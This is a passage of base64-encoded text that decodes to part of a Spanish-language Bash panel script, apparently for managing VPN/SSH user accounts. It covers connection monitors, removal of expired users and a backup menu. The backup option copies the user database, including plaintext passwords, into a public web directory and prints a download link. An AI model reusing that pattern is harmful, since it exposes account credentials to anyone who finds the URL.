zIC11ICR1c2VyIHxncmVwIHNzaGQgfGF3ayAnTlI9PTEge3ByaW50ICQxfScpfGF3ayAnTlI9PTIge3ByaW50ICQxfScpIgogICAgICAgICAgdHN0MT0kKGVjaG8gIiR0c3QiIHwgd2MgLWMpCiAgICAgICAgaWYgW1sgIiR0c3QxIiA9PSAiOSIgXV07IHRoZW4gCiAgICAgICAgICB0aW1lcnI9IiQocHMgLW8gZXRpbWUgJChwcyAtdSAkdXNlciB8Z3JlcCBzc2hkIHxhd2sgJ05SPT0xIHtwcmludCAkMX0nKXxhd2sgJ05SPT0yIHtwcmludCAkMX0nKSIKICAgICAgICBlbHNlCiAgICAgICAgICB0aW1lcnI9IiQoZWNobyAiMDA6JHRzdCIpIgogICAgICAgIGZpCiAgICAgICAgCiAgICAgICAgZWxpZiBbWyAkb3ZwIC1ndCAwIF1dOyB0aGVuCiAgICAgICAgICB0bXAyPSQocHJpbnRmICclKCVIOiVNOiVTKVRcbicpCiAgICAgICAgICB0bXAxPSIkKGdyZXAgLXcgIiRpIiAvZXRjL29wZW52cG4vb3BlbnZwbi1zdGF0dXMubG9nIHxhd2sgJ3twcmludCAkNH0nfCBoZWFkIC0xKSIKICAgICAgICAgIFtbICIkdG1wMSIgPSAiIiBdXSAmJiB0bXAxPSIwMDowMDowMCIgJiYgdG1wMj0iMDA6MDA6MDAiCiAgICAgICAgICB2YXIxPWBlY2hvICR0bXAxIHwgY3V0IC1jIDEtMmAKICAgICAgICAgIHZhcjI9YGVjaG8gJHRtcDEgfCBjdXQgLWMgNC01YAogICAgICAgICAgdmFyMz1gZWNobyAkdG1wMSB8IGN1dCAtYyA3LThgCiAgICAgICAgICB2YXI0PWBlY2hvICR0bXAyIHwgY3V0IC1jIDEtMmAKICAgICAgICAgIHZhcjU9YGVjaG8gJHRtcDIgfCBjdXQgLWMgNC01YAogICAgICAgICAgdmFyNj1gZWNobyAkdG1wMiB8IGN1dCAtYyA3LThgCiAgICAgICAgICBjYWxjMT1gZWNobyAkdmFyMSozNjAwICsgJHZhcjIqNjAgKyAkdmFyMyB8IGJjYAogICAgICAgICAgY2FsYzI9YGVjaG8gJHZhcjQqMzYwMCArICR2YXI1KjYwICsgJHZhcjYgfCBiY2AKICAgICAgICAgIHNlZz0kKCgkY2FsYzIgLSAkY2FsYzEpKQogICAgICAgICAgbWluPSQoKCRzZWcvNjApKQogICAgICAgICAgc2VnPSQoKCRzZWctJG1pbio2MCkpCiAgICAgICAgICBob3I9JCgoJG1pbi82MCkpCiAgICAgICAgICBtaW49JCgoJG1pbi0kaG9yKjYwKSkKICAgICAgICAgIHRpbWVydXNyPWBwcmludGYgIiUwMmQ6JTAyZDolMDJkIFxuIiAkaG9yICRtaW4gJHNlZztgCiAgICAgICAgICB0aW1lcnI9JChlY2hvICIkdGltZXJ1c3IiIHwgc2VkIC1lICdzL1teMC05Ol0vL2lnJyApCiAgICAgICAgZWxzZQogICAgICAgICAgdGltZXJyPSIwMDowMDowMCIKICAgICAgICBmaQoKICAgICAKICAgICAgICAgIHRva2VuPSQocHJpbnRmICclLTE2cycgIiRpIikKICAgICAgICAgIGNvbj0kKHByaW50ZiAnJS04cycgIiRjb25leCIpCiAgW1sgLXogJChjYXQgJHt0b2tlbnN9fGdyZXAgLXcgIiR7aX0iKSBdXSAmJiBub21icmU9IiIgfHwgbm9tYnJlPSIkKGNhdCAke3Rva2Vuc318Z3JlcCAtdyAiJHtpfSJ8Y3V0IC1kJ3wnIC1mMikiCm5vbT0kKHByaW50ZiAnJS00cycgIiRub21icmUiKQoKICAgICAgICBpZiBbWyAkY29uZXggLWVxIDAgXV07IHRoZW4KICAgICAgICAgICBzdGF0dXM9JChwcmludGYgJyUtMTBzJyAnW09GRl0nKQogICAgICAgICAgIyBtc2cgLWJhcgogICAgICAgICAgIGVjaG8gLWUgIiBcZVsxOzk3bSR0b2tlbiRub20gJChtc2cgLXZlcm0yICIkc3RhdHVzIikkKG1zZyAtdmVyZCAiJGNvbiIpJChtc2cgLWFtYSAiXGVbOTNtJHRpbWVyciIpIgogICAgICAgIGVsc2UKICAgICAgICAgICBzdGF0dXM9JChwcmludGYgJyUtMTBzJyAnW09OXScpCiAgICAgICAgIyAgIG1zZyAtYmFyCiAgICAgICAgICAgZWNobyAtZSAiIFxlWzE7OTdtJHRva2VuJG5vbSAkKG1zZyAtdmVyZCAiJHN0YXR1cyIpJChtc2cgLXZlcmQgIiRjb24iKSQobXNnIC1hbWEgIlxlWzkzbSR0aW1lcnIiKSIKICAgICAgICBmaQogICAgICAgIG1zZyAtYmFyCiAgICAgIGRvbmUKICAgIHRwdXQgY3V1MSAmJiB0cHV0IGRsMQogICBtc2cgLWJhcgoKfQptb25pdF9od2lkMiAoKSB7CmNsZWFyCmNsZWFyCgojbXNnIC1iYXIKbXNnIC10aXQKcmVkPSQodHB1dCBzZXRhZiAxKQpncmVuPSQodHB1dCBzZXRhZiAyKQp5ZWxsb3c9JCh0cHV0IHNldGFmIDMpCnVzdWFyaW9zX2h3aWQ9KCQobW9zdHJhcl9od2lkKSkKaWYgW1sgLXogJHt1c3Vhcmlvc19od2lkW0BdfSBdXTsgdGhlbgplY2hvIC1lICJcZVs5M20gICBNT05JVE9SIERFIENPTkVYSU9ORVMgWyBIV0lEIF0iCm1zZyAtYmFyCm1zZyAtdmVybTIgIglOTyBIQVkgUkVHSVNUUk8gREUgVVNVQVJJT1MgSFdJRCIKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKZWxzZQplY2hvIC1lICJcZVsxOzkxbSAgIE1PTklUT1IgREUgQ09ORVhJT05FUyBbIEhXSUQgXSIKbXNnIC1iYXIKZmkKdHh0dmFyPSQocHJpbnRmICclLTM4cycgIiAke3llbGxvd31VU1VBUklPIEhXSUQiKQp0eHR2YXIrPSQocHJpbnRmICclLTE2cycgIiR7Z3Jlbn0gICBDT05FWElPTkVTIikKI3R4dHZhcis9JChwcmludGYgJyUtMTBzJyAiVElNRS9PTiIpCmVjaG8gLWUgIiAgXGVbMTs5N21cZVsxOzEwMG0ke3R4dHZhcn1cZVswbSIKCgltc2cgLWJhcgoJY2F0X3VzZXJzPSQoY2F0ICIvZXRjL3Bhc3N3ZCJ8Z3JlcCAnaG9tZSd8Z3JlcCAnaHdpZCd8Z3JlcCAtdiAnc3lzbG9nJykKCQoJZm9yIGkgaW4gYGVjaG8gIiRjYXRfdXNlcnMifGF3ayAtRiAnOicgJ3twcmludCAkMX0nYDsgZG8KICAgICAgICBod2lkPSIkaSIKICAgICAgICAKICAgICBub209IiQoZWNobyAiJGNhdF91c2VycyJ8Z3JlcCAtdyAiJGkifGF3ayAtRiAnOicgJ3twcmludCAkNX0nfGN1dCAtZCAnLCcgLWYyKSIKICAgIyAgdXNlcj0ke25vbX0KICAgICMgc2VwPSQocHJpbnRmICclLTVzJykKICAgIAogXz0kKApQSUQ9IjArIgpbWyAkKGRwa2cgLS1nZXQtc2VsZWN0aW9uc3xncmVwIC13ICJvcGVuc3NoInxoZWFkIC0xKSBdXSAmJiBQSUQrPSIkKHBzIGF1eHxncmVwIC12IGdyZXB8Z3JlcCBzc2hkfGdyZXAgLXcgIiRod2lkInxncmVwIC12IHJvb3R8d2MgLWwpKyIKW1sgJChkcGtnIC0tZ2V0LXNlbGVjdGlvbnN8Z3JlcCAtdyAiZHJvcGJlYXIifGhlYWQgLTEpIF1dICYmIFBJRCs9IiQoZnVuX2Ryb3B8Z3JlcCAtdyAiJHtod2lkfSJ8d2MgLWwpKyIKW1sgJChkcGtnIC0tZ2V0LXNlbGVjdGlvbnN8Z3JlcCAtdyAib3BlbnZwbiJ8aGVhZCAtMSkgXV0gJiYgW1sgLWUgL2V0Yy9vcGVudnBuL29wZW52cG4tc3RhdHVzLmxvZyBdXSAmJiBbWyAkKG9wZW52cG5fcGlkc3xncmVwIC13ICIkaHdpZCJ8Y3V0IC1kJ3wnIC1mMikgXV0gJiYgUElEKz0iJChvcGVudnBuX3BpZHN8Z3JlcCAtdyAiJGh3aWQifGN1dCAtZCd8JyAtZjIpKyIKUElEKz0iMCIKVElNRU9OPSIke1RJTUVVU1skaHdpZF19IgpbWyAteiAkVElNRU9OIF1dICYmIFRJTUVPTj0wCk1JTj0kKCgkVElNRU9OLzYwKSkKU0VDPSQoKCRUSU1FT04tJE1JTio2MCkpCkhPUj0kKCgkTUlOLzYwKSkKTUlOPSQoKCRNSU4tJEhPUio2MCkpCkhPVVI9IiR7SE9SfWg6JHtNSU59bToke1NFQ31zIgoKI1tbIC16ICQoY2F0ICR7VVNSZGF0YWJhc2VofXxncmVwIC13ICIke2h3aWR9IikgXV0gJiYgTUFYVVNFUj0iIiB8fCBNQVhVU0VSPSIkKGNhdCAke1VTUmRhdGFiYXNlfXxncmVwIC13ICIke2h3aWR9InxjdXQgLWQnfCcgLWY0KSIKW1sgJChlY2hvICRQSUR8YmMpIC1ndCAwIF1dICYmIGh3aWQ9IiRod2lkIFxlWzE7MzNtW1wwMzNbMTszMm1PTlwwMzNbMzNtXSAiIHx8IGh3aWQ9IiRod2lkIFxlWzE7MzNtW1wwMzNbMTszMW1PRkZcMDMzWzMzbV0iClRPVEFMUElEPSIkKGVjaG8gJFBJRHxiYykiCgogd2hpbGUgW1sgJHsjaHdpZH0gLWx0IDIgXV07IGRvCiBod2lkPSRod2lkIiAiCiBkb25lCndoaWxlIFtbICR7I1RPVEFMUElEfSAtbHQgMCBdXTsgZG8KIFRPVEFMUElEPSRUT1RBTFBJRCIgIgogZG9uZQp3aGlsZSBbWyAkeyNIT1VSfSAtbHQgMSBdXTsgZG8KIEhPVVI9JEhPVVIiICIKZG9uZQplY2hvIC1lICIgXGVbMTs5Mm0kaHdpZCBcZVs5Nm0kbm9tIFxlWzkzbVtcZVs5Mm0kVE9UQUxQSURcZVs5M21dXG4kKG1zZyAtYmFyKSIgPiYyCiNlY2hvIC1lICIke3llbGxvd31VU0VSOiR7Z3Jlbn0kdXNlciAkc2VwICRUT1RBTFBJRCAkSE9VUlxuICAgJHtyZWR9SFdJRDoke3llbGxvd30gJGh3aWRcbiQobXNnIC1iYXIpIiA+JjIKKSAmCnBpZD0kIQpzbGVlcCAwLjFzCmRvbmUgCndoaWxlIFtbIC1kIC9wcm9jLyRwaWQgXV07IGRvCnNsZWVwIDAuMXMKZG9uZQojVE9UQUxVUz0iJChlY2hvICRQSUR8YmMpIgojZWNobyAtZSAiCQlcZVs5N21cZVsxOzEwMG1DT05FQ1RBRE9TOlxlWzBtIFxlWzkzbVtcZVs5Mm0kVE9UQUxVU1xlWzkzbV0iCm1zZyAtYmFyCm1zZyAtbmUgIiBFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUHVzcn0vdXNlcmNvZGVzCgp9Cgptb25pdF90b2tlbjEoKSB7CmNsZWFyCmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdApibGE9JCh0cHV0IHNldGFmIDApCnJlZD0kKHRwdXQgc2V0YWYgMSkKZ3Jlbj0kKHRwdXQgc2V0YWYgMikKeWVsbG93PSQodHB1dCBzZXRhZiAzKQpibHVlPSQodHB1dCBzZXRhZiA0KQp1c3Vhcmlvc190b2tlbj0oJChtb3N0cmFyX3Rva2VuKSkKaWYgW1sgLXogJHt1c3Vhcmlvc190b2tlbltAXX0gXV07IHRoZW4KZWNobyAtZSAiXGVbOTNtICAgTU9OSVRPUiBERSBDT05FWElPTkVTIFsgVE9LRU4gXSIKbXNnIC1iYXIKbXNnIC12ZXJtMiAiCU5PIEhBWSBSRUdJU1RSTyBERSBVU1VBUklPUyBDT04gVE9LRU4iCm1zZyAtYmFyCm1zZyAtbmUgIiBFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUHVzcn0vdXNlcmNvZGVzCmVsc2UKZWNobyAtZSAiICAgXGVbMTs5MW1NT05JVE9SIERFIENPTkVYSU9ORVMgWyBUT0tFTiBdIgptc2cgLWJhcgpmaQoKdHh0dmFyPSQocHJpbnRmICclLTIxcycgIiBUT0tFTiIpCnR4dHZhcis9JChwcmludGYgJyUtOXMnICJOT01CUkUiKQp0eHR2YXIrPSQocHJpbnRmICclLThzJyAiW09OL10iKQp0eHR2YXIrPSQocHJpbnRmICclLThzJyAiVElFTVBPIikKCWVjaG8gLWUgIiAgXGVbMTs5N21cZVsxOzEwMG0ke3R4dHZhcn1cZVswbSIKCW1zZyAtYmFyCgljYXRfdXNlcnM9JChjYXQgIi9ldGMvcGFzc3dkInxncmVwICdob21lJ3xncmVwICd0b2tlbid8Z3JlcCAtdiAnc3lzbG9nJykKCglmb3IgaSBpbiBgZWNobyAiJGNhdF91c2VycyJ8YXdrIC1GICc6JyAne3ByaW50ICQxfSdgOyBkbwogICAgICAgIHRva2VuPSIkaSIKICAgICAgICAKICAgICBub209IiQoZWNobyAiJGNhdF91c2VycyJ8Z3JlcCAtdyAiJGkifGF3ayAtRiAnOicgJ3twcmludCAkNX0nfGN1dCAtZCAnLCcgLWYyKSIKICAgICB1c2VyPSQocHJpbnRmICclLTRzJyAiICR7bm9tfSIpCiAgICAgc2VwPSQocHJpbnRmICclLTVzJykKICAgICAKIF89JCgKUElEPSIwKyIKW1sgJChkcGtnIC0tZ2V0LXNlbGVjdGlvbnN8Z3JlcCAtdyAib3BlbnNzaCJ8aGVhZCAtMSkgXV0gJiYgUElEKz0iJChwcyBhdXh8Z3JlcCAtdiBncmVwfGdyZXAgc3NoZHxncmVwIC13ICIkdG9rZW4ifGdyZXAgLXYgcm9vdHx3YyAtbCkrIgpbWyAkKGRwa2cgLS1nZXQtc2VsZWN0aW9uc3xncmVwIC13ICJkcm9wYmVhciJ8aGVhZCAtMSkgXV0gJiYgUElEKz0iJChmdW5fZHJvcHxncmVwIC13ICIke3Rva2VufSJ8d2MgLWwpKyIKW1sgJChkcGtnIC0tZ2V0LXNlbGVjdGlvbnN8Z3JlcCAtdyAib3BlbnZwbiJ8aGVhZCAtMSkgXV0gJiYgW1sgLWUgL2V0Yy9vcGVudnBuL29wZW52cG4tc3RhdHVzLmxvZyBdXSAmJiBbWyAkKG9wZW52cG5fcGlkc3xncmVwIC13ICIkdG9rZW4ifGN1dCAtZCd8JyAtZjIpIF1dICYmIFBJRCs9IiQob3BlbnZwbl9waWRzfGdyZXAgLXcgIiR0b2tlbiJ8Y3V0IC1kJ3wnIC1mMikrIgpQSUQrPSIwIgpUSU1FT049IiR7VElNRVVTWyR0b2tlbl19IgpbWyAteiAkVElNRU9OIF1dICYmIFRJTUVPTj0wCk1JTj0kKCgkVElNRU9OLzYwKSkKU0VDPSQoKCRUSU1FT04tJE1JTio2MCkpCkhPUj0kKCgkTUlOLzYwKSkKTUlOPSQoKCRNSU4tJEhPUio2MCkpCkhPVVI9IiR7SE9SfWg6JHtNSU59bToke1NFQ31zIgoKCltbICQoZWNobyAkUElEfGJjKSAtZ3QgMCBdXSAmJiB0b2tlbj0iJHRva2VuIFxlWzE7OTNtW1wwMzNbMTszMm1PTlwwMzNbOTNtXSAiIHx8IHRva2VuPSIkdG9rZW4gXGVbMTs5M21bXDAzM1sxOzMxbU9GRlwwMzNbOTNtXSIKVE9UQUxQSUQ9IiQoZWNobyAkUElEfGJjKSIKCiB3aGlsZSBbWyAkeyN0b2tlbn0gLWx0IDEwIF1dOyBkbwogdG9rZW49JHRva2VuIiAiCiBkb25lCndoaWxlIFtbICR7I1RPVEFMUElEfSAtbHQgMCBdXTsgZG8KIFRPVEFMUElEPSRUT1RBTFBJRCIgIgogZG9uZQp3aGlsZSBbWyAkeyNIT1VSfSAtbHQgMyBdXTsgZG8KIEhPVVI9JEhPVVIiICIKZG9uZQplY2hvIC1lICIgXGVbMTs5Mm0kdG9rZW5cZVs5Nm0kdXNlciBcZVs5M21bXGVbOTJtJFRPVEFMUElEXGVbOTNtXSAgXGVbOTdtJEhPVVJcbiQobXNnIC1iYXIpIiA+JjIKI2VjaG8gLWUgIiR7eWVsbG93fVVTRVI6JHtncmVufSR1c2VyICRzZXAgJFRPVEFMUElEICRIT1VSXG4gICAke3JlZH1UT0tFTjoke3llbGxvd30gJHRva2VuXG4kKG1zZyAtYmFyKSIgPiYyCikgJgpwaWQ9JCEKc2xlZXAgMC4xcwpkb25lIAp3aGlsZSBbWyAtZCAvcHJvYy8kcGlkIF1dOyBkbwpzbGVlcCAwLjFzCmRvbmUKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKCn0KCm1vbml0X3NzaDIgKCkgewpjbGVhcgpjbGVhcgojbXNnIC1iYXIKbXNnIC10aXQKICByZWQ9JCh0cHV0IHNldGFmIDEpCmdyZW49JCh0cHV0IHNldGFmIDIpCnllbGxvdz0kKHRwdXQgc2V0YWYgMykKdXN1YXJpb3Nfc3NoPSgkKG1vc3RyYXJfdXNlcikpCmlmIFtbIC16ICR7dXN1YXJpb3Nfc3NoW0BdfSBdXTsgdGhlbgplY2hvIC1lICIkKGZ1bl90cmFucyAiXGVbOTNtICAgTU9OSVRPUiBERSBDT05FWElPTkVTIFNTSC9EUk9QQkVBUi9TU0wvT1BFTlZQTiIpIgptc2cgLWJhcgptc2cgLXZlcm0yICIJTk8gSEFZIFJFR0lTVFJPIERFIFVTVUFSSU9TIFNTSCIKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKZWxzZQplY2hvIC1lICIkKGZ1bl90cmFucyAiXGVbMTs5MW0gICBNT05JVE9SIERFIENPTkVYSU9ORVMgU1NIL0RST1BCRUFSL1NTTC9PUEVOVlBOIikiCm1zZyAtYmFyCmZpCgp0eHR2YXI9JChwcmludGYgJyUtMjBzJyAiIFVTVUFSSU8iKQp0eHR2YXIrPSQocHJpbnRmICclLTE0cycgIkNPTkVYSU9ORVMiKQp0eHR2YXIrPSQocHJpbnRmICclLThzJyAiVElNRS9PTiIpCgllY2hvIC1lICIgIFxlWzE7OTdtXGVbMTsxMDBtJHt0eHR2YXJ9XGVbMG0iCgltc2cgLWJhcgoJCgljYXRfdXNlcnM9JChjYXQgIi9ldGMvcGFzc3dkInxncmVwICdob21lJ3xncmVwICdzc2htJ3xncmVwIC12ICdzeXNsb2cnKQoKCWZvciBpIGluIGBlY2hvICIkY2F0X3VzZXJzInxhd2sgLUYgJzonICd7cHJpbnQgJDF9J2A7IGRvCiAgICAgICAgdXNlcj0iJGkiCiAgICAgIAogXz0kKApQSUQ9IjArIgpbWyAkKGRwa2cgLS1nZXQtc2VsZWN0aW9uc3xncmVwIC13ICJvcGVuc3NoInxoZWFkIC0xKSBdXSAmJiBQSUQrPSIkKHBzIGF1eHxncmVwIC12IGdyZXB8Z3JlcCBzc2hkfGdyZXAgLXcgIiR1c2VyInxncmVwIC12IHJvb3R8d2MgLWwpKyIKW1sgJChkcGtnIC0tZ2V0LXNlbGVjdGlvbnN8Z3JlcCAtdyAiZHJvcGJlYXIifGhlYWQgLTEpIF1dICYmIFBJRCs9IiQoZnVuX2Ryb3B8Z3JlcCAtdyAiJHVzZXIifHdjIC1sKSsiCltbICQoZHBrZyAtLWdldC1zZWxlY3Rpb25zfGdyZXAgLXcgIm9wZW52cG4ifGhlYWQgLTEpIF1dICYmIFtbIC1lIC9ldGMvb3BlbnZwbi9vcGVudnBuLXN0YXR1cy5sb2cgXV0gJiYgW1sgJChvcGVudnBuX3BpZHN8Z3JlcCAtdyAiJHVzZXIifGN1dCAtZCd8JyAtZjIpIF1dICYmIFBJRCs9IiQob3BlbnZwbl9waWRzfGdyZXAgLXcgIiR1c2VyInxjdXQgLWQnfCcgLWYyKSsiClBJRCs9IjAiIApUSU1FT049IiR7VElNRVVTWyR1c2VyXX0iCltbIC16ICRUSU1FT04gXV0gJiYgVElNRU9OPTAKTUlOPSQoKCRUSU1FT04vNjApKQpTRUM9JCgoJFRJTUVPTi0kTUlOKjYwKSkKSE9SPSQoKCRNSU4vNjApKQpNSU49JCgoJE1JTi0kSE9SKjYwKSkKSE9VUj0iJHtIT1J9aDoke01JTn1tOiR7U0VDfXMiCgpbWyAteiAkKGNhdCAke1VTUmRhdGFiYXNlfXxncmVwIC13ICIke3VzZXJ9InxjdXQgLWQnfCcgLWY0KSBdXSAmJiBNQVhVU0VSPSIiIHx8IE1BWFVTRVI9IiQoY2F0ICR7VVNSZGF0YWJhc2V9fGdyZXAgLXcgIiR7dXNlcn0ifGN1dCAtZCd8JyAtZjQpIgpbWyAkKGVjaG8gJFBJRHxiYykgLWd0IDAgXV0gJiYgdXNlcj0iJHVzZXIgXGVbMTszM21bXDAzM1sxOzMybU9OXDAzM1szM21dICIgfHwgdXNlcj0iJHVzZXIgXGVbMTszM21bXDAzM1sxOzMxbU9GRlwwMzNbMzNtXSIKVE9UQUxQSUQ9IiQoZWNobyAkUElEfGJjKS8kTUFYVVNFUiIKCiB3aGlsZSBbWyAkeyN1c2VyfSAtbHQgMjUgXV07IGRvCiB1c2VyPSR1c2VyIiAiCiBkb25lCiN3aGlsZSBbWyAkeyNUT1RBTFBJRH0gLWx0IDEgXV07IGRvCiMgVE9UQUxQSUQ9JFRPVEFMUElEIiAiCiMgZG9uZQp3aGlsZSBbWyAkeyNIT1VSfSAtbHQgOSBdXTsgZG8KIEhPVVI9JEhPVVIiICIKZG9uZQplcz0kKHByaW50ZiAnJS0xMHMnKQoKZWNobyAtZSAiXGVbMTs5Mm0kdXNlciRlc1xlWzkzbVtcZVs5Mm0kVE9UQUxQSURcZVs5M21dJGVzXGVbOTNtJEhPVVJcbiQobXNnIC1iYXIpIiA+JjIKKSAmCnBpZD0kIQpzbGVlcCAwLjFzCmRvbmUgCndoaWxlIFtbIC1kIC9wcm9jLyRwaWQgXV07IGRvCnNsZWVwIDAuMXMKZG9uZQojVE9UQUxVUz0iJChlY2hvICRQSUR8YmMpIgojZWNobyAtZSAiCQlcZVs5N21cZVsxOzEwMG1DT05FQ1RBRE9TOlxlWzBtIFxlWzkzbVtcZVs5Mm0kVE9UQUxVU1xlWzkzbV0iCm1zZyAtYmFyCm1zZyAtbmUgIiBFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUHVzcn0vdXNlcmNvZGVzCgp9CgpybV92ZW5jaWRvcyAoKSB7CmNsZWFyCmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdAplY2hvIC1lICIkKGZ1bl90cmFucyAiXGVbOTNtICAgICAgICAgICBCT1JSQU5ETyBVU1VBUklPUyBWRU5DSURPUyAiKSIKbXNnIC1iYXIKcmVkPSQodHB1dCBzZXRhZiAxKQpncmVuPSQodHB1dCBzZXRhZiAyKQp5ZWxsb3c9JCh0cHV0IHNldGFmIDMpCnR4dHZhcj0kKHByaW50ZiAnJS0yNXMnICIgVVNVQVJJTyIpCnR4dHZhcis9JChwcmludGYgJyUtMjVzJyAiIFZBTElESURFWiIpCmVjaG8gLWUgIlwwMzNbMTs5Mm0ke3R4dHZhcn0iCm1zZyAtYmFyCmV4cGlyZWQ9IiR7cmVkfSQoZnVuX3RyYW5zICJVc3VhcmlvIEV4cGlyYWRvIikiCnZhbGlkPSIke2dyZW59JChmdW5fdHJhbnMgIiAgIFVzdWFyaW8gVmlnZW50ZSIpIgpuZXZlcj0iJHt5ZWxsb3d9JChmdW5fdHJhbnMgIlVzdWFyaW8gSWxpbWl0YWRvIikiCnJlbW92aWRvPSIke3JlZH0kKGZ1bl90cmFucyAiRWxpbWluYWRvIikiCkRhdGFWUFM9JChkYXRlICslcykKd2hpbGUgcmVhZCB1c2VyOyBkbwpEYXRhVXNlcj0kKGNoYWdlIC1sICIke3VzZXJ9IiB8Z3JlcCAtaSBjb3xhd2sgLUYgIjoiICd7cHJpbnQgJDJ9JykKdXNyPSR1c2VyCiB3aGlsZSBbWyAkeyN1c3J9IC1sdCAyMCBdXTsgZG8KIHVzcj0kdXNyIiAiCiBkb25lCltbICIkRGF0YVVzZXIiID0gIiBuZXZlciIgXV0gJiYgewogICBlY2hvIC1lICIke3llbGxvd30kdXNyICRuZXZlciIKICAgY29udGludWUKICAgfQpEYXRhU0VDPSQoZGF0ZSArJXMgLS1kYXRlPSIkRGF0YVVzZXIiKQppZiBbWyAiJERhdGFTRUMiIC1sdCAiJERhdGFWUFMiIF1dOyB0aGVuCmVjaG8gLW5lICIke3llbGxvd30kdXNyICRleHBpcmVkIgpybV91c2VyICIkdXNlciIgJiYgZWNobyAtZSAiKCRyZW1vdmlkbykiCmVsc2UKZWNobyAtZSAiJHt5ZWxsb3d9JHVzciAkdmFsaWQiCmZpCmRvbmUgPDw8ICIkKG1vc3RyYXJfdXN1YXJpb3MpIgpybSAtcmYgL2V0Yy9WUFMtTVgvVlBTLU1YLXVzZXJsb2NrCnJtIC1yZiAvZXRjL1ZQUy1NWC9jb250cm9sYWRvci9MaW1pdGVyLmxvZwp1bmxvY2thbGwyCm1zZyAtYmFyCm1zZyAtbmUgIiBFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUHVzcn0vdXNlcmNvZGVzCn0KClNQUiAmCmJhY2t1cF9zc2ggKCkgewpjbGVhcgpjbGVhcgojbXNnIC1iYXIKbXNnIC10aXQKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICIgICAgICAgIEJBQ0tVUCBERSBVU1VBUklPUyBTU0giKSIKbXNnIC1iYXIKbWVudV9mdW5jICJDUkVBUiBCQUNLVVAiICJSRVNUQVVSQVIgQkFDS1VQIiAiREVTQ0FSR0FSIExJTksgQkFDS1VQIgptc2cgLWJhcgp1bnNldCBzZWxlY3Rpb24Kd2hpbGUgW1sgJHtzZWxlY3Rpb259ICE9IEAoWzEtM10pIF1dOyBkbwplY2hvIC1uZSAiXDAzM1sxOzM3bSQoZnVuX3RyYW5zICJTZWxlY2Npb25lIHVuYSBPcGNpb24iKTogIiAmJiByZWFkIHNlbGVjdGlvbgp0cHV0IGN1dTEgJiYgdHB1dCBkbDEKZG9uZQpjYXNlICR7c2VsZWN0aW9ufSBpbgoxKQpjcCAke1VTUmRhdGFiYXNlfSAkSE9NRS9WUFMtTVgtQmFja3VwCmNwICR7VVNSZGF0YWJhc2V9IC92YXIvd3d3L2h0bWwvVlBTLU1YLUJhY2t1cAptc2cgLWF6dSAiJChmdW5fdHJhbnMgIlByb2NlZGltaWVudG8gSGVjaG8gY29uIEV4aXRvLCBHdWFyZGFkbyBlbjoiKSIKZWNobyAiIgplY2hvIC1lICJcMDMzWzE7MzFtQkFDS1VQID4gW1wwMzNbMTszMm0kSE9NRS9WUFMtTVgtQmFja3VwXDAzM1sxOzMxbV0iCmVjaG8gLWUgIlwwMzNbMTszMW1CQUNLVVAgTElOSyA+IFtcMDMzWzE7MzJtaHR0cDovLyQobWV1X2lwKTo4MS9WUFMtTVgtQmFja3VwXDAzM1sxOzMxbV0iCmVjaG8gIiIKOzsKMikKd2hpbGUgW1sgISAtZSAke2RpcmJhY2t1cH0gXV07IGRvCmVjaG8gLW5lICJcMDMzWzE7MzdtIMKhwqFSZWNvbWllbmRvIERFU0FDVElWQVIgTGltaXRhZG9yIHNpIGVzIHF1ZSBsbyB0aWVuZSBBQ1RJVk8hIVxuIgplY2hvIC1uZSAiXDAzM1sxOzM3bSBFc2NyaWJhIGxhIHViaWNhY2lvbiBkZSBsYSBjb3BpYSBkZSBzZWd1cmlkYWRcbiIgCm1zZyAtYmFyCmVjaG8gLW5lICJcMDMzWzE7MzdtIEVOVEVSOiBwYXJhIHJ1dGEgcHJlZGV0ZXJtaW5hZGEgL3Jvb3QvVlBTLU1YLUJhY2t1cDogIiAmJiByZWFkIGRpcmJhY2t1cAplY2hvICIiCmVjaG8gIi0tLS0tLS0tLS0gIFJFU1RBVVJBTkRPIENVRU5UQVMgRVNQRVJFICIKZWNobyAiIgptc2cgLWJhcgpbWyAteiAiJHtkaXJiYWNrdXB9IiBdXSAmJiBkaXJiYWNrdXA9Ii9yb290L1ZQUy1NWC1CYWNrdXAiCnRwdXQgY3V1MSAmJiB0cHV0IGRsMQpkb25lClZQU3NlYz0kKGRhdGUgKyVzKQp3aGlsZSByZWFkIGxpbmU7IGRvCm5vbWU9JChlY2hvICR7bGluZX18Y3V0IC1kJ3wnIC1mMSkKW1sgJChlY2hvICQobW9zdHJhcl91c2VyKXxncmVwIC13ICIkbm9tZSIpIF1dICYmIHsgbXNnIC12ZXJtICIkbm9tZSBbRVJST1JdIgogIGNvbnRpbnVlCiAgfQpzZW5oYT0kKGVjaG8gJHtsaW5lfXxjdXQgLWQnfCcgLWYyKQpEYXRlRXhwPSQoZWNobyAke2xpbmV9fGN1dCAtZCd8JyAtZjMpCkRhdGFTZWM9JChkYXRlICslcyAtLWRhdGU9IiREYXRlRXhwIikKW1sgIiRWUFNzZWMiIC1sdCAiJERhdGFTZWMiIF1dICYmIGRpYXM9IiQoKCQoKCREYXRhU2VjIC0gJFZQU3NlYykpIC8gODY0MDApKSIgfHwgZGlhcz0iTlAiCmxpbWl0ZT0kKGVjaG8gJHtsaW5lfXxjdXQgLWQnfCcgLWY0KQoKYWRkX3VzZXIgIiRub21lIiAiJHNlbmhhIiAiJGRpYXMiICIkbGltaXRlIiAmPi9kZXYvbnVsbCAmJiBtc2cgLXZlcmQgIiRub21lIFtDVUVOVEEgVkFMSURBXSIgfHwgbXNnIC12ZXJtICIkbm9tZSBbQ1VFTlRBIElOVkFMSURBIEZFQ0hBIEVY